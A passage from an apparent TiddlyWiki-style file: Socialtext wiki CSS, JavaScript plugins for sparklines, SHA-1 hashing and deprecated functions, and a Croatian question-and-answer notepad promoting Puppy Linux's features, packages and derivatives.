	border-bottom: 1px solid rgb(128, 169, 243);
	background-color: #f4f4f4;
	position: relative;
	bottom: -2px;
}

#st-listview-tabs li.spacer {
	margin: 0 0.8em 0 2em;
}

#st-listview-tabs a {
	color: #bbb;
	text-decoration: none;
}

#st-listview-tabs li.selected {
	background-color: #fff !important;
	border: 1px solid rgb(128, 169, 243) !important;
	border-bottom: 1px solid #fff !important;
	font-weight: bold !important;
}

#st-listview-tabs li.selected a {
	color: #000 !important;
}

/* Category List Display */

#st-category-display-links {
	margin-bottom: 1em;
	font-size: 90%;
}

#st-tag-listbody {
	font-family: Helvetica, Verdana, sans-serif;
}

/* Attachments List Display */

#st-attachments-list-body table.button-table {
	margin-top: 0.1em;
	font-size: 80%;
}


/* ********** PageTools Menu ************** */

div#st-editing-tools {
	float: left;
}

div#st-pagetools {
	z-index: 300;
	font-family: Helvetica, Verdana, sans-serif;
	font-size: 10px;
	float: right;
	margin: 18px 0 0 0em;
	color: #000;
	vertical-align: bottom;
	position: relative;
}

#st-pagetools a {
	text-decoration: none;
	color: black;
	padding-left: 17px;
}

#st-pagetools span {
	color: inherit;
	padding-left: 17px;
	vertical-align: top;
}

#st-pagetools span.st-watchlist-link {
	color: inherit;
	vertical-align: top;
}

.st-watchlist-link {
	cursor: pointer;
}

div#st-pagetools ul.level2 {
	z-index: 300;
	margin: 0;
	padding: 0;
	background: white;
	border: 1px solid #CCC;
	border-width: 0 1px;
}

div#st-pagetools li {
	position: relative;
	list-style: none;
	margin: 0;
	float: left;
	width: 7em;
	line-height: 11px;
}

div#st-pagetools ul ul li:hover {
	background: #BFE2FF;
}

div#st-pagetools li a {
	display: block;
	text-decoration: none;
}

div#st-pagetools>ul a {
	width: auto;
}

div#st-pagetools ul ul {
	position: absolute;
	width: auto;
	display: none;
}

div#st-pagetools ul ul li {
	line-height: 1.5em;
/*	width: 100%; */
	width: 14em;
}

.first {
	border-top: 1px solid #CCC;
}

.separator {
	border-bottom: 1px solid #CCC;
}

div#st-pagetools ul ul li a {
	border-bottom: 1px solid #CCC;
	padding-left: 15px;
	padding-right: 3px;
	margin-right: 3px;
	border: 0px;
}

div#st-pagetools li.submenu li.submenu:hover {
	z-index: 300;
	background-color: #BFE2FF;
}

div#st-pagetools ul.level1 li.submenu:hover ul.level2 {
	display:block;
}

div#st-pagetools ul.level2 {
	top: 1.0em;
	left: -9.5em;
}

/*

=head2 Revision List Display

Change these styles to update the page revision list.

*/

#st-revision-list-table {
	border-collapse: collapse;
	font-size: 85%;
	color: #000;
}

.st-page-title-decorator {
	color: #C80000;
}

.st-revision-header-emphasis {
	color: #C80000;
}

.st-revision-list-compare-button-row {
}

.st-revision-list-compare-button-cell {
	padding-top: 0.3em;
	text-align: center;
}

.st-revision-list-compare-button {
}

#st-revision-list-header-row {
}

#st-revision-list-header-select {
	padding: 6px 2px 2px 2px;
	text-align: center;
}

#st-revision-list-header-revision {
	padding: 6px 2px 2px 2px;
	text-align: left;
}

#st-revision-list-header-edited-by {
	padding: 6px 2px 2px 2px;
	text-align: center;
}

#st-revision-list-header-date {
	padding: 6px 2px 2px 2px;
	text-align: center;
}

.st-revision-list-row {
	border-collapse: collapse;
	border: 1px dashed #ddd;
	border-left: 1px solid #ddd;
	border-right: 1px solid #ddd;
}

.st-revision-list-row td {
	font-family: Verdana;
	padding: 0.3em;
	border-left: 1px dashed #ddd;
	border-right: 1px dashed #ddd;
	border-top: 1px solid #ddd;
	border-bottom: 1px solid #ddd;
}

.st-revision-list-row-select {
	padding: 3px 0 2px 0;
	text-align: center;
}

.st-revision-list-row-select-old {
}

.st-revision-list-row-select-new {
}

.st-revision-list-row-revision {
}

.st-revision-list-row-revision-link {
}

.st-revision-list-row-edited-by {
}

.st-revision-list-row-date {
}

/* Revision Menu */

#st-pagetools.st-revision-view-bar {
	float: left;
}

ul.st-revision-menu {
	list-style: none;
	margin: 0;
	padding: 0.2em;
	font-size: 80%;
}

ul.st-revision-menu li {
	float: left;
	padding: 0 0.4em 0 0.4em;
	border-right: thin solid #000000;
}

ul.st-revision-menu li.st-last {
	border-right: none;
}

#st-restore-revision-button {
	font-size: 80%;
}

/*

=head2 Revision Compare Display

When comparing two revisions of a page, these styles apply.

*/

#st-revision-compare-table {
	background-color: #f0f0f0;
}

#st-revision-compare-table td {
	background-color: white;
}

.st-revision-compare-old {
	background-color: #fdd;
	text-decoration: line-through;
}
.st-revision-compare-new {
	background-color: #dfd;
	font-weight: bold;
}

/* Weblog View */

#st-weblog {
	padding: 0;
}

#st-content-weblog-display-width-controller {
}
#st-content-weblog-display-width-controller-nav {
	width: 230px;
	margin-left: 15px;
	border-left: 5px solid #ddd;
	margin-top: -1px;
}

#st-weblog-content {
	font-family: Verdana, Helvetica, sans-serif;
	margin-top: -1px;
	margin-bottom: -1px;
	border-top: 1px solid #80a9f3;
	border-bottom: 1px solid #80a9f3;
}

#st-weblog-title {
	font-family: 'Trebuchet MS', Verdana, Helvetica, sans-serif;
	font-family: 'Times New Roman', serif;
	background-color: #80a9f3;
	color: #fff;
	font-size: 150%;
	font-weight: bold;
	padding: 0.2em;
	padding-left: 1em;
}

#st-weblog-wikititle {
	font-family: Helvetica, Verdana, sans-serif;
	font-style: italic;
	font-size: 40%;
	color: #fff;
	margin-bottom: 0.2em;
	margin-top: 0.1em;
	padding-top: 0;
}

#st-weblog-titletext {
	font-family: Helvetica, Verdana, sans-serif;
	font-weight: bold;
	color: #fff;
}

div.st-weblog-entry {
	margin-top: 0.2em;
	margin-bottom: 4.8em;
	padding: 0 1.5em 0 1.5em;
}

.st-page-title {
	clear: both;
}

div.st-weblog-entrytitle span.text {
	font-family: Helvetica, Verdana, sans-serif;
	font-size: 150%;
	font-weight: bold;
	color: #000;
}

.st-weblog-entrycontent {
	font-family: Verdana, Helvetica, sans-serif;
	font-size: 90%;
	border-bottom: 1px solid #888;
}

.st-weblog-byline {
	float: left;
	text-align: left;
	font-style: italic;
	font-size: 70%;
	font-family: Verdana, Helvetica, sans-serif;
}

.st-weblog-post-links {
	float: right;
	text-align: right;
	font-size: 70%;
	font-family: Verdana, Helvetica, sans-serif;
}

#st-weblog-archives, #st-weblog-navigation {
	position: relative;
	float: right;
	width: 230px;
}

#st-weblog-archives {
	margin-top: 15px;
	clear: right;
}

#st-weblog-archives-title, #st-weblog-navigation-title {
	margin-left: 15px;
	font-family: Helvetica, sans-serif;
	font-size: 95%;
	font-weight: bold;
	color: #999;
	border-bottom: 2px solid #f99;
	padding-bottom: 5px;
	padding-top: 5px;
	margin-bottom: 5px;
}

#st-weblog-navigation-content {
	margin-left: 15px;
	font-size: 80%;
}

#st-weblog-archives ul {
	margin: 0;
	padding: 0;
}

#st-weblog-archives ul li {
	/* list-type: none; */
	display: block;
	font-size: 80%;
	font-family: Helvetica, sans-serif;
	padding-left: 15px;
}

#st-weblog-newpost {
	padding: 0.5em 0.7em 0.3em 0.3em;
}

#st-weblog-newpost-button {
}

#st-weblog-actionbar-chooseweblog {
	float: right;
}

#st-weblog-postbyemail {
	font-size: 70%;
	font-family: Verdana, Helvetica, sans-serif;
	color: #def;
	padding-top: 0.4em;
}

#st-weblog-postbyemail-link {
	color: #00c;
}

.st-weblog-chooseprompt {
	font-size: 90%;
	font-family: Verdana, Helvetica, sans-serif;
	padding-right: 0.2em;
	color: #000;
}

.st-spacer {
	padding-right: 0.1em;
	padding-left: 0.1em;
}

.st-weblog-preventries {
	padding-bottom: 20px;
	clear: both;
}
.st-weblog-nextentries {
	clear: both;
}

div.st-weblog-entrynav {
	margin-top: 0.2em;
	margin-bottom: 1.8em;
	padding: 0;
}

span.st-weblog-previousentries, span.st-weblog-nextentries {
	font-size: 90%;
	font-family: Verdana, Helvetica, sans-serif;
	padding-left: 1em;
}

/* ******* Page Stats ******** */

#st-usagereport-navbar {
	font-size: 80%;
	padding: 0;
	margin: 0;
}

#st-usagereport-date {
	font-weight: bold;
	margin-top: 1em;
}

#st-page-usagereport h1 {
	font-size: 1.3em;
	font-weight: bold;
	margin-top: 1.2em;
	margin-bottom: 0.3em;
}

#st-page-usagereport h2 {
	font-size: 1.1em;
	font-weight: bold;
	margin-top: 0.8em;
	margin-bottom: 0.3em;
}

/* New Page */
#st-newpage-save, #st-newpage-duplicate {
	display: none;
	position: fixed;
	left: 0px;
	top: 0px;
	width: 100%;
	height: 100%;
	background: url('../../images/st/popup/bg.png'); /* Don't forget IE hack for ship! */
	z-index: 2000;
}

#st-newpage-save-interface {
	background-color: #fff;
	color: #000;
	border: 4px solid #ccc;
	padding: 0.5em;
	width: 450px;
	margin-left: auto;
	margin-right: auto;
	margin-top: 10%;
	position:absolute;
	top:0px;
	z-index:2003;
}

#st-newpage-duplicate-interface {
	background-color: #fff;
	color: #000;
	border: 4px solid #ccc;
	padding: 0.5em;
	width: 530px;
	margin-left: auto;
	margin-right: auto;
	margin-top: 10%;
	position:absolute;
	top:0px;
	z-index:2003;
}

#st-newpage-save-title, #st-newpage-duplicate-title {
	margin: 0;
	padding: 0;
	font-weight: bold;
	font-family: Helvetica, sans-serif;
	font-size: 100%;
}

#st-newpage-save-prompt, #st-newpage-duplicate-prompt {
	font-family: Helvetica, sans-serif;
	font-size: 90%;
	margin-bottom: 0.4em;
}

#st-newpage-save-buttons, #st-newpage-duplicate-buttons {
	margin-top: 0.8em;
	text-align: right;
}

.st-newpage-duplicate-option {
	font-family: Helvetica, sans-serif;
	font-size: 90%;
	margin: 0;
	padding: 0;
}

#st-newpage-duplicate-pagename {
	font-size: 90%;
}

.st-newpage-duplicate-emphasis {
	background-color: #FFFF00;
	font-weight: bold;
}

#st-newpage-save-field-pagename {
	margin-bottom: 0;
	margin-top: 0.2em;
	padding-bottom: 0;
	font-size: 90%;
}

#st-newpage-save-tip {
	margin-bottom: 0;
	margin-top: 1.2em;
	padding-bottom: 0;
	font-size: 75%;
	color: #888;
}

/* Wikitext Styling */

.wiki {
}

.wiki hr {
	margin-top: .4em;
	margin-bottom: .4em;
}

.wiki .short-rule {
	width: 25%;
}

.wiki .medium-rule {
	width: 50%
}

.wiki ul,
.wiki ol,
.wiki blockquote {
	margin-left: 2em;
	padding-left: 0em;
}

.wiki table {
	border-collapse: collapse;
}

.wiki td {
	border: 1px;
	border-style: solid;
	padding: .2em;
	vertical-align: top;
}

.wiki h1,
.wiki h2,
.wiki h3,
.wiki h4,
.wiki h5,
.wiki h6 {
	font-weight: bold;
	font-style: normal;
	margin-top: 0.1em;
	margin-bottom: 8px;
}

.wiki h1 {font-size: 200%;}
.wiki h2 {font-size: 170%;}
.wiki h3 {font-size: 145%;}
.wiki h4 {font-size: 125%;}
.wiki h5 {font-size: 110%;}
.wiki h6 {font-size: 100%;}

.wiki pre {
	background-color: #eee; /* XXX */
	margin-left: 1em;
	margin-right: 1em;
	padding: .2em;
}

.wiki .incipient {
	text-decoration: none;
	border-bottom: 1px dashed;
}

.wiki-include-title {
	background-color: #ccccff;
}

.wiki .wiki {
	position: relative;
	background-color: #ddddff;
	border: 1px solid #ccccff;
	padding: 3px;
}

.wafl_existence_error {
	color: rgb(200,0,0);
	border-bottom: 0.2em dashed rgb(200,0,0);
}

#st-edit-mode-container {
}

#st-edit-mode-view {
}

#st-page-editing-uploadbutton {
	z-index: 1500;
	float: left;
}

/* Comment UI */


body#st-commentui {
	background: #ffffff;
}

#st-commentui-container {
}

#st-commentui-container a:visited,
#st-commentui-container a:active {
	color: #00f;
}

#st-commentui-notetop {
}

#st-commentui-controls {
}

#st-commentui-savelink {
	background-color: #fffebd;
}

#st-commentui-cancellink {
}

#st-commentui-customfield {
}

#st-commentui-customfield .customfield-label {
}

#st-commentui-customfield .customfield-input {
}

#st-commentui-textarea {
	padding: 0;
	border-style: inset;
	border-width: thin;
	background-color: #ffd;
	color: black;
	width: 99%;
	height: 150px;
}

/*

=head2 Send Page by Email

Styles for the 'Send Page by Email' popup, accessed from the 'Email' dropdown
menu on the page bar.

*/

#email-page {
	background: #ffffff;
	font-size: 80%;
}

.email-page-row {
	clear: both;
}

.email-page-row-label {
	font-weight: bold;
	float: left;
	width: 5em;
	margin-left: 1.2em;
	margin-right: 1.2em;
	text-align: right;
}

.email-page-row-content {
	float: left;
	padding-bottom: 1.2em;
}

.email-page-user-select-column {
	float: left;
	padding-right: 1.2em;
	width: 14em;
}

#email-page-user-select-column-center {
	width: 10em;
}

.email-page-user-select-label {
	text-align: center;
}

#email-page-user-select-add-label {
	padding-top: 1em;
}

.email-page-user-select-button-group {
	padding-bottom: 2em;
}

.email-page-input {
	width: 120px;
	clear: both;
	display: block;
}


.email-page-select {
	width: 175px;
	font-size: x-small;
}

#email-page-error-message {
	text-align: center;
}

#email-page-buttons-container {
	clear: both;
}

#email-page-buttons {
	text-align: center;
}

.email-page-input-new {
	width: 175px;
}

/* System Status, Red with icon */

#st-system-status-alert {
	clear: both;
	width: 50%;
	margin-left: 25%;
	margin-top: 10px;
	padding: 5px;
	color: #c00;
	font-weight: bold;
	font-size: 80%;
	background: transparent url('../../images/st/system-message/important-note.gif') no-repeat 5px center;
	padding-left: 60px;
	min-height: 38px;
}
* html #st-system-status-alert {
	height: 38px;
}

/* System Status, Green */

#st-system-status {
	clear: both;
	text-align:center;
	width: 80%;
	margin-left: 10%;
	padding: 8px 0 3px 0;
	color: #0a0;
	font-family: Arial, Helvetica, sans-serif;
	font-size: 80%;
}

.socialtextLogo {
	text-align: center;
}
/*}}}*/
/***
|''Name:''|SparklinePlugin|
|''Description:''|Sparklines macro|
***/
//{{{
if(!version.extensions.SparklinePlugin) {
version.extensions.SparklinePlugin = {installed:true};

//--
//-- Sparklines
//--

config.macros.sparkline = {};
config.macros.sparkline.handler = function(place,macroName,params)
{
	var data = [];
	var min = 0;
	var max = 0;
	var v;
	for(var t=0; t<params.length; t++) {
		v = parseInt(params[t]);
		if(v < min)
			min = v;
		if(v > max)
			max = v;
		data.push(v);
	}
	if(data.length < 1)
		return;
	var box = createTiddlyElement(place,"span",null,"sparkline",String.fromCharCode(160));
	box.title = data.join(",");
	var w = box.offsetWidth;
	var h = box.offsetHeight;
	box.style.paddingRight = (data.length * 2 - w) + "px";
	box.style.position = "relative";
	for(var d=0; d<data.length; d++) {
		var tick = document.createElement("img");
		tick.border = 0;
		tick.className = "sparktick";
		tick.style.position = "absolute";
		tick.src = "data:image/gif,GIF89a%01%00%01%00%91%FF%00%FF%FF%FF%00%00%00%C0%C0%C0%00%00%00!%F9%04%01%00%00%02%00%2C%00%00%00%00%01%00%01%00%40%02%02T%01%00%3B";
		tick.style.left = d*2 + "px";
		tick.style.width = "2px";
		v = Math.floor(((data[d] - min)/(max-min)) * h);
		tick.style.top = (h-v) + "px";
		tick.style.height = v + "px";
		box.appendChild(tick);
	}
};


}
//}}}
/***
|''Name:''|CryptoFunctionsPlugin|
|''Description:''|Support for cryptographic functions|
***/
//{{{
if(!version.extensions.CryptoFunctionsPlugin) {
version.extensions.CryptoFunctionsPlugin = {installed:true};

//--
//-- Crypto functions and associated conversion routines
//--

// Crypto "namespace"
function Crypto() {}

// Convert a string to an array of big-endian 32-bit words
Crypto.strToBe32s = function(str)
{
	var be = Array();
	var len = Math.floor(str.length/4);
	var i, j;
	for(i=0, j=0; i<len; i++, j+=4) {
		be[i] = ((str.charCodeAt(j)&0xff) << 24)|((str.charCodeAt(j+1)&0xff) << 16)|((str.charCodeAt(j+2)&0xff) << 8)|(str.charCodeAt(j+3)&0xff);
	}
	while (j<str.length) {
		be[j>>2] |= (str.charCodeAt(j)&0xff)<<(24-(j*8)%32);
		j++;
	}
	return be;
};

// Convert an array of big-endian 32-bit words to a string
Crypto.be32sToStr = function(be)
{
	var str = "";
	for(var i=0;i<be.length*32;i+=8)
		str += String.fromCharCode((be[i>>5]>>>(24-i%32)) & 0xff);
	return str;
};

// Convert an array of big-endian 32-bit words to a hex string
Crypto.be32sToHex = function(be)
{
	var hex = "0123456789ABCDEF";
	var str = "";
	for(var i=0;i<be.length*4;i++)
		str += hex.charAt((be[i>>2]>>((3-i%4)*8+4))&0xF) + hex.charAt((be[i>>2]>>((3-i%4)*8))&0xF);
	return str;
};

// Return, in hex, the SHA-1 hash of a string
Crypto.hexSha1Str = function(str)
{
	return Crypto.be32sToHex(Crypto.sha1Str(str));
};

// Return the SHA-1 hash of a string
Crypto.sha1Str = function(str)
{
	return Crypto.sha1(Crypto.strToBe32s(str),str.length);
};

// Calculate the SHA-1 hash of an array of blen bytes of big-endian 32-bit words
Crypto.sha1 = function(x,blen)
{
	// Add 32-bit integers, wrapping at 32 bits
	add32 = function(a,b)
	{
		var lsw = (a&0xFFFF)+(b&0xFFFF);
		var msw = (a>>16)+(b>>16)+(lsw>>16);
		return (msw<<16)|(lsw&0xFFFF);
	};
	// Add five 32-bit integers, wrapping at 32 bits
	add32x5 = function(a,b,c,d,e)
	{
		var lsw = (a&0xFFFF)+(b&0xFFFF)+(c&0xFFFF)+(d&0xFFFF)+(e&0xFFFF);
		var msw = (a>>16)+(b>>16)+(c>>16)+(d>>16)+(e>>16)+(lsw>>16);
		return (msw<<16)|(lsw&0xFFFF);
	};
	// Bitwise rotate left a 32-bit integer by 1 bit
	rol32 = function(n)
	{
		return (n>>>31)|(n<<1);
	};

	var len = blen*8;
	// Append padding so length in bits is 448 mod 512
	x[len>>5] |= 0x80 << (24-len%32);
	// Append length
	x[((len+64>>9)<<4)+15] = len;
	var w = Array(80);

	var k1 = 0x5A827999;
	var k2 = 0x6ED9EBA1;
	var k3 = 0x8F1BBCDC;
	var k4 = 0xCA62C1D6;

	var h0 = 0x67452301;
	var h1 = 0xEFCDAB89;
	var h2 = 0x98BADCFE;
	var h3 = 0x10325476;
	var h4 = 0xC3D2E1F0;

	for(var i=0;i<x.length;i+=16) {
		var j,t;
		var a = h0;
		var b = h1;
		var c = h2;
		var d = h3;
		var e = h4;
		for(j = 0;j<16;j++) {
			w[j] = x[i+j];
			t = add32x5(e,(a>>>27)|(a<<5),d^(b&(c^d)),w[j],k1);
			e=d; d=c; c=(b>>>2)|(b<<30); b=a; a = t;
		}
		for(j=16;j<20;j++) {
			w[j] = rol32(w[j-3]^w[j-8]^w[j-14]^w[j-16]);
			t = add32x5(e,(a>>>27)|(a<<5),d^(b&(c^d)),w[j],k1);
			e=d; d=c; c=(b>>>2)|(b<<30); b=a; a = t;
		}
		for(j=20;j<40;j++) {
			w[j] = rol32(w[j-3]^w[j-8]^w[j-14]^w[j-16]);
			t = add32x5(e,(a>>>27)|(a<<5),b^c^d,w[j],k2);
			e=d; d=c; c=(b>>>2)|(b<<30); b=a; a = t;
		}
		for(j=40;j<60;j++) {
			w[j] = rol32(w[j-3]^w[j-8]^w[j-14]^w[j-16]);
			t = add32x5(e,(a>>>27)|(a<<5),(b&c)|(d&(b|c)),w[j],k3);
			e=d; d=c; c=(b>>>2)|(b<<30); b=a; a = t;
		}
		for(j=60;j<80;j++) {
			w[j] = rol32(w[j-3]^w[j-8]^w[j-14]^w[j-16]);
			t = add32x5(e,(a>>>27)|(a<<5),b^c^d,w[j],k4);
			e=d; d=c; c=(b>>>2)|(b<<30); b=a; a = t;
		}

		h0 = add32(h0,a);
		h1 = add32(h1,b);
		h2 = add32(h2,c);
		h3 = add32(h3,d);
		h4 = add32(h4,e);
	}
	return Array(h0,h1,h2,h3,h4);
};


}
//}}}
/***
|''Name:''|DeprecatedFunctionsPlugin|
|''Description:''|Support for deprecated functions removed from core|
***/
//{{{
if(!version.extensions.DeprecatedFunctionsPlugin) {
version.extensions.DeprecatedFunctionsPlugin = {installed:true};

//--
//-- Deprecated code
//--

// @Deprecated: Use createElementAndWikify and this.termRegExp instead
config.formatterHelpers.charFormatHelper = function(w)
{
	w.subWikify(createTiddlyElement(w.output,this.element),this.terminator);
};

// @Deprecated: Use enclosedTextHelper and this.lookaheadRegExp instead
config.formatterHelpers.monospacedByLineHelper = function(w)
{
	var lookaheadRegExp = new RegExp(this.lookahead,"mg");
	lookaheadRegExp.lastIndex = w.matchStart;
	var lookaheadMatch = lookaheadRegExp.exec(w.source);
	if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
		var text = lookaheadMatch[1];
		if(config.browser.isIE)
			text = text.replace(/\n/g,"\r");
		createTiddlyElement(w.output,"pre",null,null,text);
		w.nextMatch = lookaheadRegExp.lastIndex;
	}
};

// @Deprecated: Use <br> or <br /> instead of <<br>>
config.macros.br = {};
config.macros.br.handler = function(place)
{
	createTiddlyElement(place,"br");
};

// Find an entry in an array. Returns the array index or null
// @Deprecated: Use indexOf instead
Array.prototype.find = function(item)
{
	var i = this.indexOf(item);
	return i == -1 ? null : i;
};

// Load a tiddler from an HTML DIV. The caller should make sure to later call Tiddler.changed()
// @Deprecated: Use store.getLoader().internalizeTiddler instead
Tiddler.prototype.loadFromDiv = function(divRef,title)
{
	return store.getLoader().internalizeTiddler(store,this,title,divRef);
};

// Format the text for storage in an HTML DIV
// @Deprecated Use store.getSaver().externalizeTiddler instead.
Tiddler.prototype.saveToDiv = function()
{
	return store.getSaver().externalizeTiddler(store,this);
};

// @Deprecated: Use store.allTiddlersAsHtml() instead
function allTiddlersAsHtml()
{
	return store.allTiddlersAsHtml();
}

// @Deprecated: Use refreshPageTemplate instead
function applyPageTemplate(title)
{
	refreshPageTemplate(title);
}

// @Deprecated: Use story.displayTiddlers instead
function displayTiddlers(srcElement,titles,template,unused1,unused2,animate,unused3)
{
	story.displayTiddlers(srcElement,titles,template,animate);
}

// @Deprecated: Use story.displayTiddler instead
function displayTiddler(srcElement,title,template,unused1,unused2,animate,unused3)
{
	story.displayTiddler(srcElement,title,template,animate);
}

// @Deprecated: Use functions on right hand side directly instead
var createTiddlerPopup = Popup.create;
var scrollToTiddlerPopup = Popup.show;
var hideTiddlerPopup = Popup.remove;

// @Deprecated: Use right hand side directly instead
var regexpBackSlashEn = new RegExp("\\\\n","mg");
var regexpBackSlash = new RegExp("\\\\","mg");
var regexpBackSlashEss = new RegExp("\\\\s","mg");
var regexpNewLine = new RegExp("\n","mg");
var regexpCarriageReturn = new RegExp("\r","mg");

}
//}}}
| http://puppylinux.com/gatespup_100.jpg | http://www.puppylinux.com/faq.htm | http://puppylinux.ca/news/ | [zdravko_maricevic_s_notepad] |

1.) Jos jedna nova distra. Od kuda je nastala ?

Puppy nije izveden ni iz jedne poznate distribucije. Razvijen je u Australiji kao "Linux from scratch" i objavljen polovicom 2003.
http://www.puppylinux.com/pfs/index.html
Iza njega osobno stoji Barry Kauler rano umirovljeni profesor i developer.

2.) Znam, znam ....Sve te live distr-e su samo demo verzije za pokazivanje, spore su pri radu i ne raspoznaju hardware...

Puppy nije spora distra. Jednostavno projektirana je za brzo dizanje sa cd-a ili tvrdog diska, usb-a, .... , a izabrane aplikacije su lake i brze. Probajte za pocetak surfanje Seamonkey-em pa se uvjerite...Puppy inace ima respektabilnu kolekciju driver-a "out of the box"

3.) Da, ali ova ti distra nije kompatibilna s ostalim poznatim distrama i ima svoj sustav upravljanja paketima. Ipak navikao sam na deb, rpm ili slack tgz pakete.

Puppy ima alate za pretvaranje paketa. Jednostavno, vrlo jednostavno moze se deb, rpm, tgz pretvoriti u puppy "pet format".

Puppy 5 serija koja se intenzivno razvija bazira se na novom revolucionarnom Puppy Bilderu zvanom WOOF http://www.puppylinux.com/woof/index.html

Vidim da zelis Puppy-a kompatibilnog s Ubuntu-om. Pa dobro zasto ga ne "izbildas" izravno koristeci Ubuntu repozitorije.

Ako te interesira rezultat provjeri kako funkcionira UPUP (Jaunty PUPPY na 80Mb) http://ftp.linux.hr/puppylinux/test/woof-alpha7/

4.) Kakav ti je to linux, kad ne mogu na njemu iskompajlirati kernel ?

Svatko moze ako hoce iskompajlirati kernel/module u Puppy-u. Recimo da je to ostavljeno za naprednije korisnike..., ali kako si ti napredniji za tebe je pripremljen Puppy-kernel-source_XXX.sfs kojega mozes skinuti i sa linux server-a u Hrvatskoj, naravno zajedno s kompajler-om. 
http://ftp.linux.hr/puppylinux/sfs_modules-3/
Kad se odlucis za kompajliranje dignes ga u RAM s Menu | System | Boot Manager -om i nastavis prema uputama na http://www.puppylinux.com/development/compilekernel.htm

4.1) Primjetio sam da ti je kernel nekako arhaican...ipak 2.6.30.X...

Razvoj kernela i puppy-a postaje jako dinamican. Uostalom zasto ne preuzmes vec "pechirani" izvorni kod http://puppylinux.com/sources/kernel-2.6.30.5/

5) Covjece pa ti ulazis u root promt sto se nikako ne preporuca. Gdje su ti "permissions denied ?"

Puppy stiti svoj "pupsave" file koji se moze enkriptati i backupirati i karakateristican je za svakog od korisnika. Ulaz u sustav je inace otvoren radi jednostavnosti pristupa. Ako bas zelis mozes dodati svakog od korisnika sa klasicnim login-om. Ali sjeti se samo kako si kao pocetnik buljio u ekran i pitao se sto je to root te bio sretan kad si otkrio gksu oliti kdesu.

6) JWM (Joe Window Manager) ? Nikad cuo !!! Osim toga jako mi slici na Win98, ne ne... to je prestaromodno.

Tocno, ali prelaznici s Windows-a trebaju za pocetak nesto poznato , tako da mogu odmah koristiti aplikacije na najlaksi nacin. To ne znaci da se Puppy neda iskonfigurirati za neki od poznatih window manager-a. Potrebno je samo instalirati dodatni paket. Minimalisticki wmii_3.1.5 i ratpoison rade kao da su radjeni za Puppy-a.

7) Ipak neke mi se aplikacije uopce ne svidjaju, a one koje volim nemas na Puppy CD-u ? Kad bih bar mogao sloziti samo svoj CD..

Kolekcija na CD-u samo je jedan od izbora. Naravno Puppy ima na svom repozitoriju mnogo vise aplikacija. Moguce je zapeci vlastiti CD sa izabranim programima. Derivati Puppy-a zovu se Pupplet-i i mogu se skinuti s 
http://www.puppylinux.org/downloads/puplets_view
http://www.murga-linux.com/puppy/index.php?f=35

npr. Firefox, Opera, Mplayer, Lastfm, Streamripper....

8) Nemas osnovni Open Office paket. Kako cu otvoriti odp i ppt file format ?

Open Office je poveci paket programa koji ukljucuje i simpress. Puppy ga aktivira kao posebni modul boot manager-om za konfiguraciju sto se namjesta kod prvog bootanja ili po zelji.

9) Ispis s lspci ti je nepotpun. Kako cu jednostavno ustanoviti pci sucelj-a i pripadajuce kernel module ?

U Menu-u | System poziva se programcic Puppscan interface information. Ovdje pregledno mozes pregledati hardware informacije i pipadajuce kernel module.

10) Hej pa ti koristis misa vise nego je to uobicajeno. Gdje su ti shortcut-ovi ?

Jasno, jasno ipak izgleda da imam previse navika od Windoza. Ipak JWM (Joe Windows Manager) ima pod Menu | Desktop | JWM Configuration mogucnost konfiguracije shortcut-ova. Pokusat cu ih koristiti sto vise, ali to ne ide tako lako...

11) Shortcut Alt+F2 kojim otvaras program gmrun za brzi unos aplikacija ti ne radi. Gle, pa nemas ni dokumentaciju za JWM.

Potrebno je uci u Menu | Desktop | JWM Configuration | Keyboard_Shortcuts te pod action upisati exec:gmrun. Dokumentacija za JWM se nalazi na 
http://www.joewing.net/programs/jwm/config.shtml#keys

12) Gle, najbolji shell bash nije ti standardno namjesten vec moram stalno ukucavati bash.

Tocno ovo je smetalo mnoge korisnike pa je od verzije 2.17 bash standardan.

13) Kakva ti je to Distra bez Emacs-a i Lispa? Zanemarujes GEEKY STYLE !!!
Iako ga nema u standardnoj kolekciji moguce ga je doinstalirati.

Uostalom zasto ne preuzmes vec pripravljeni derivat/puplet "thnake"<http://www.murga-linux.com/puppy/viewtopic.php?p=256583>**s ugradjenim LISPom ?

14) Ja sam ti staromodan. Volim kompajlirati source. Uostalom gdje ti je kompajler ?

Kompajler se distribuira kao devx_4xx.sfs datoteka i moze se naci na <http://ftp.linux.hr/puppylinux/sfs_modules-4/>. Potrebno je samo omoguciti dizanje u ram konfiguracijom u Puppy BootManager-u.

15) Kako da pisem po ntfs particiji ? Moram li instalirati ntfs-3g ?

Covjece pa on ti je na osnovnom CD-u kao i vecina ostalih alata bez kojih se ne izlazi...

16) Ipak sigurno ne mozes pokrenuti 3-d desktop. Distra ti je simpa ali samo za slaba racunala. Ne ipak ne mogu bez "kocke koja se okrece"....

Razvoj Pupy-a ne spava. Nadam se da nemas nista protiv da zavrtis compiz fusion na Puppy 3.X http://youtube.com/watch?v=u30ciyNkPAk
Naravno potrebno je samo skinuti Puplet wNOP sa http://www.tombh.co.uk/CF/about.php i imati racunalo mladje od 5 godina.

17) Ukljucio sam USB, ali ga Puppy ne raspoznaje.

To samo znaci da koristis stariju verziju od 4.0. Za one koji ne vole rucno mauntanje Puppy je od verzije 4.0 uveo udev hotplug sustav specificno prilagodjen za Puppy. Inace Puppy koristi i tradicionalni pristup rucnog montiranja jednostavnim pritiskom na ikonicu "drive". Vecina Puppy korisnika zeli nauciti sto radi i zasto radi. Korisno za proces ucenja, zar ne ?

18) Ja sam ti digitalni umjetnik. Previse multimedijalnih aplikacija trebam naknadno doinstalirati. Potrebno mi je neลกto kao sto je Dynebolic linux.

Puppy ima odgovor i za umjetnike. Isprobaj zato <http://www.grafpup.org>. 
Blender, Gimp, Inkscape, Scribus... sve je tu na dohvat ruke ukljucujuci i sve potrebne drive-re. Nakon podizanja u ram aplikacije se izvode i brze nego na defaultnim glomaznim distram-a.

19) Usta su ti puna hvale, ali na internetu postoji pravo brdo malih distribucija. Zasto bi bas odabrao Puppy ?

Linux je svijet izbora. Mozda ce ti ovaj preglednik pomoci...
http://www.puppylinux.org/wiki/archives/old-wikka-wikki/categorydocumentation/distros

20) Radi li Puppy na ASUS EEE PC-u ?

Derivat Puppy-a PUPEEE snimio sam na USB. Ne sumnjam da nece raditi na EEEPC-u. Pa Puppy se je medju prvima razvijao i kao OS na flash-u.

http://puppylinux.ca/members/Pupeee/

21) Ocigledno, Puppy je zaista brz, vjerojatno zato sto se izvrsava izravno iz RAM-a ?
Ali npr. i Gentoo SysRescueCD se moze potpuno podici u RAM pa postaje brz!

